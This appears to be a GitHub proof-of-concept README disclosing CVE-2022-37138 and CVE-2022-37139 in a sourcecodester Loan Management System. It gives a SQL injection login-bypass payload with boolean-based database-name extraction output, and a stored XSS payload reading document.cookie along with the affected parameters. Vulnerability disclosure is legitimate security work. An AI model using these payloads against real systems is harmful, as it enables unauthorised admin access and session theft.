

main ▾

...

[POC-DUMP](#) / [Loan Management System](#) / [README.md](#)

saitamang Update README.md

[History](#)

1 contributor



54 lines (43 sloc) | 1.61 KB

...

# Loan Management System

Loan Management System suffers from several vulnerabilities which is SQL Injection and Stored Cross Site Scripting (XSS).

## CVE-2022-37138

### 1. SQL Injection

```
# Exploit Title: Loan Management System - SQL Injection via login page
# Date: 28/07/2022
# Exploit Author: saitamang
# Vendor Homepage: sourcecodester
# Software Link:
https://www.sourcecodester.com/sites/default/files/download/razormist/LMS.zip
# Version: 1.0
# Tested on: Centos 7 apache2 + MySQL
```

The attack vector for the SQL Injection happened at the login page. The login can be bypass using the boolean payload below to gain access as Admin as the highest privileges.

Payload --> 'or 2=2#

The python script to get the database name from SQL Injection Vulnerability can be access [here](#).

```
(kali㉿kali)-[~/Documents/research/lms]
$ python3 sqli.py 192.168.149.130 admin admin123

      _____
     /          \
    /            \
   /              \
  /                \
 /                  \
/                    \
\                    /
 \                  /
  \                /
   \              /
    \            /
     \          /
      \        /
       \_____/

[$] Failed Login with credentials admin:admin123
[##] SQLI Boolean-Based Present at username field :)
[##] The length of DB name 1 is wrong
[##] The length of DB name 2 is wrong
[##] The length of DB name 3 is wrong
[##] The length of DB name 4 is wrong
[##] The length of DB name 5 is wrong
[##] The correct length of DB name is 6
[+] The 1 char of DB name is d
[+] The 2 char of DB name is b
[+] The 3 char of DB name is _
[+] The 4 char of DB name is l
[+] The 5 char of DB name is m
[+] The 6 char of DB name is s
[+] Database name retrieved --> db_lms
[+] Bypass completed :)
[+] Bypass payload can be used is
'or 2=2#

Retry to login with new payload in password field
[$] Success Login with credentials 'or 2=2#:admin123
```

# CVE-2022-37139

## 2. Stored Cross Site Scripting

```
# Exploit Title: Loan Management System - XSS Stored
# Date: 28/07/2022
# Exploit Author: saitamang
# Vendor Homepage: sourcecodester
# Software Link:
```

<https://www.sourcecodester.com/sites/default/files/download/razormist/LMS.zip>

# Version: 1.0

# Tested on: Centos 7 apache2 + MySQL

There are several functions and parameter affected as below:

addUser.php

- firstname
- lastname

save\_ltype.php

- ltype\_name
- ltype\_desc

save\_borrower.php

- firstname
- middlename
- lastname
- address

The payload use to inject is `"/><svg/onload=alert(document.cookie)>`